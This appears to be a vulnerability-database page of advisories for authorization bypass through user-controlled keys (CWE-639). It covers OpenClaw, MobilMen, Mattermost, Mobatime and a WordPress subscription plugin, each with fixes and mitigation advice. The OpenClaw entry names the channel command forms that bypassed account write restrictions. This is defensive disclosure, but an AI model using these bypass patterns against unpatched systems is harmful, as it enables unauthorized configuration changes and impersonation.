The mutation path validated the origin account scope but did not consistently authorize every resolved target scope. Ambiguous collection and root writes under channels and channels.<provider>.accounts could therefore reach protected account configuration from channel command surfaces.

Fix

OpenClaw now authorizes config mutations against both the origin scope and each resolved target scope, and it rejects ambiguous root and collection writes from channel commands unless the caller is an internal gateway client with operator.admin. The fix shipped in openclaw@2026.3.11.

Workarounds

Upgrade to 2026.3.11 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:47:59Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nIn affected versions of `openclaw`, channel-initiated config mutations were authorized against the originating account\u0027s `configWrites` policy but did not consistently re-check the targeted account scope. An authorized sender on one account could mutate protected sibling-account configuration when the target account had `configWrites: false`.\n\n## Impact\nThis is an account-scoped policy bypass inside a single gateway deployment. Channel commands such as `/config set channels.\u003cprovider\u003e.accounts.\u003cid\u003e...` and config-backed `/allowlist ... --config --account \u003cid\u003e` could modify protected sibling-account configuration.\n\n## Affected Packages and Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.3.8`\n- Fixed in: `2026.3.11`\n\n## Technical Details\nThe mutation path validated the origin account scope but did not consistently authorize every resolved target scope. Ambiguous collection and root writes under `channels` and `channels.\u003cprovider\u003e.accounts` could therefore reach protected account configuration from channel command surfaces.\n\n## Fix\nOpenClaw now authorizes config mutations against both the origin scope and each resolved target scope, and it rejects ambiguous root and collection writes from channel commands unless the caller is an internal gateway client with `operator.admin`. The fix shipped in `openclaw@2026.3.11`.\n\n## Workarounds\nUpgrade to `2026.3.11` or later.",
  "id": "GHSA-8jhh-jcqg-mj5p",
  "modified": "2026-03-13T15:48:00Z",
  "published": "2026-03-13T15:47:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8jhh-jcqg-mj5p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Channel commands could bypass account-scoped `configWrites` restrictions"
}

GHSA-8JM8-XJP3-35HQ

Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-10 18:32
VLAI
Details

Authorization bypass through User-Controlled key vulnerability in Adam Retail Automation Ltd. MobilMen 20T allows Privilege Escalation.

This issue affects MobilMen 20T: from v3 through 10072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T17:16:56Z",
    "severity": "HIGH"
  },
  "details": "Authorization bypass through User-Controlled key vulnerability in Adam Retail Automation Ltd. MobilMen 20T allows Privilege Escalation.\n\nThis issue affects MobilMen 20T: from v3 through 10072026.\u00a0NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8jm8-xjp3-35hq",
  "modified": "2026-07-10T18:32:19Z",
  "published": "2026-07-10T18:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2398"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0526"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8JMP-2XX6-PJG7

Vulnerability from github – Published: 2026-07-13 09:31 – Updated: 2026-07-13 09:31
VLAI
Details

Mattermost versions 11.7.x <= 11.7.2, 11.6.x <= 11.6.4, 10.11.x <= 10.11.19 fail to validate that an assigned incoming webhook user has access to the target team or channel, which allows a requester with webhook management permissions to create posts or direct messages attributed to another user via crafted incoming webhook configuration and payloads.. Mattermost Advisory ID: MMSA-2026-00683

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T09:16:25Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.7.x \u003c= 11.7.2, 11.6.x \u003c= 11.6.4, 10.11.x \u003c= 10.11.19 fail to validate that an assigned incoming webhook user has access to the target team or channel, which allows a requester with webhook management permissions to create posts or direct messages attributed to another user via crafted incoming webhook configuration and payloads.. Mattermost Advisory ID: MMSA-2026-00683",
  "id": "GHSA-8jmp-2xx6-pjg7",
  "modified": "2026-07-13T09:31:43Z",
  "published": "2026-07-13T09:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9708"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8JVM-2MXJ-236C

Vulnerability from github – Published: 2023-06-05 09:30 – Updated: 2024-04-04 04:31
VLAI
Details

Incorrect Authorization vulnerability in Mobatime mobile application AMXGT100 allows a low-privileged user to impersonate anyone else, including administratorsThis issue affects Mobatime mobile application AMXGT100: through 1.3.20.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-05T09:15:09Z",
    "severity": "HIGH"
  },
  "details": "Incorrect Authorization vulnerability in Mobatime mobile application AMXGT100 allows a low-privileged user to impersonate anyone else, including administratorsThis issue affects Mobatime mobile application AMXGT100: through 1.3.20.\n\n",
  "id": "GHSA-8jvm-2mxj-236c",
  "modified": "2024-04-04T04:31:42Z",
  "published": "2023-06-05T09:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3066"
    },
    {
      "type": "WEB",
      "url": "https://borelenzo.github.io/stuff/2023/06/02/cve-2023-3064_65_66.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8JXQ-2J45-8V3Q

Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 18:31
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Convers Lab WPSubscription subscription allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPSubscription: from n/a through <= 1.8.10.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-69347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T17:16:27Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Convers Lab WPSubscription subscription allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPSubscription: from n/a through \u003c= 1.8.10.",
  "id": "GHSA-8jxq-2j45-8v3q",
  "modified": "2026-03-26T18:31:29Z",
  "published": "2026-03-25T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69347"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/subscription/vulnerability/wordpress-wpsubscription-plugin-1-8-10-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.